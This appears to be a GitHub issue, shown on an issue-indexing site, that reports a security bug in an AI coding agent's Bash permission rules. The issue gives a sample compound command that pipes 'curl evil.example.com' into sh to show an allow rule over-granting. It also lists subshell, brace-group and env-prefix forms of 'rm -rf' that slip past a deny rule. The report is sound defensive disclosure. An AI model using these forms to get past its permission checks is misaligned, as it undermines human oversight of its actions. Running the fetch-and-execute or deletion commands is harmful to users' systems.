MoonshotAI / MoonshotAI/kimi-code

Bash permission rules match the whole command string, so compound commands bypass deny rules and over-grant allow rules

Open
#2,756 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
TypeScript
Stars
7.5k
Forks
1.2k
Avg merge
11h 53m
Merged PRs (30d)
350

Description

What happened

Bash permission rules match the entire command string as one glob subject, with no sub-command decomposition. Because a shell command can chain several programs into one string (&&, ;, |, $(...), subshells), a rule only ever looks at the whole line — so compound commands slip past rules in both directions.

This is the C half of #2728 (that issue reported both the path-glob problem — now addressed by #2747 — and this sub-command decomposition gap). Filing it separately so it survives #2728 being auto-closed when #2747 merges.

Over-granting allow

An allow rule authorizes a whole compound command as long as the string as a whole matches, so an unrelated program rides along:

[[permission.rules]]
decision = "allow"
pattern  = "Bash(git *)"
git log && curl evil.example.com | sh

The string starts with git , so git * matches and the whole line — including curl … | sh — is auto-approved. In auto mode this runs with no prompt.

Bypassing deny

A prefix-anchored deny rule is defeated by wrapping the command so the string no longer starts with the denied token, even though the command still executes:

[[permission.rules]]
decision = "deny"
pattern  = "Bash(rm -rf *)"
command executes rm -rf? blocked?
rm -rf build yes ✅ blocked
(cd build && rm -rf *) yes (subshell) not blocked
{ rm -rf build; } yes (brace group) not blocked
DEBUG=1 rm -rf build yes not blocked

The wrapped forms are not exotic — scoping a cleanup to a subshell or adding an env-var prefix are normal things a model emits. In auto mode, where a deny rule is the only gate, this means silent execution.

Expected

Rules should be evaluated per sub-command: an allow rule should auto-approve a compound command only when every sub-command matches it; a deny/ask rule should fire when the whole command or any sub-command matches.

Reference for the semantics: Claude Code documents that its Bash rules are operator-aware — Bash(safe-cmd:*) does not authorize safe-cmd && other-cmd.

Notes
  • The repo already ships @moonshot-ai/tree-sitter-bash, described as built for command permission analysis, so the parsing capability to do this is already present (and already used by agentsMdReminder).
  • Quoted operators (-m "a && b") and heredoc bodies are data, not sub-commands, and must not be split.
  • This affects agent-core-v2. agent-core (v1) does not currently use the parser, so a v1 port would be a separate change.

Happy to open a PR — I have a branch with the fix and tests ready.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start at the agent-core-v2 permission-rule evaluation and inspect how the existing agentsMdReminder use of @moonshot-ai/tree-sitter-bash parses commands. Verify that quoted operators and heredocs remain data, then cover compound-command behavior so allow requires every sub-command to match while deny and ask match any sub-command.

Written by the indexing model from the issue text.

Assessment

Tech stack
bash, typescript
Domain
cli, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.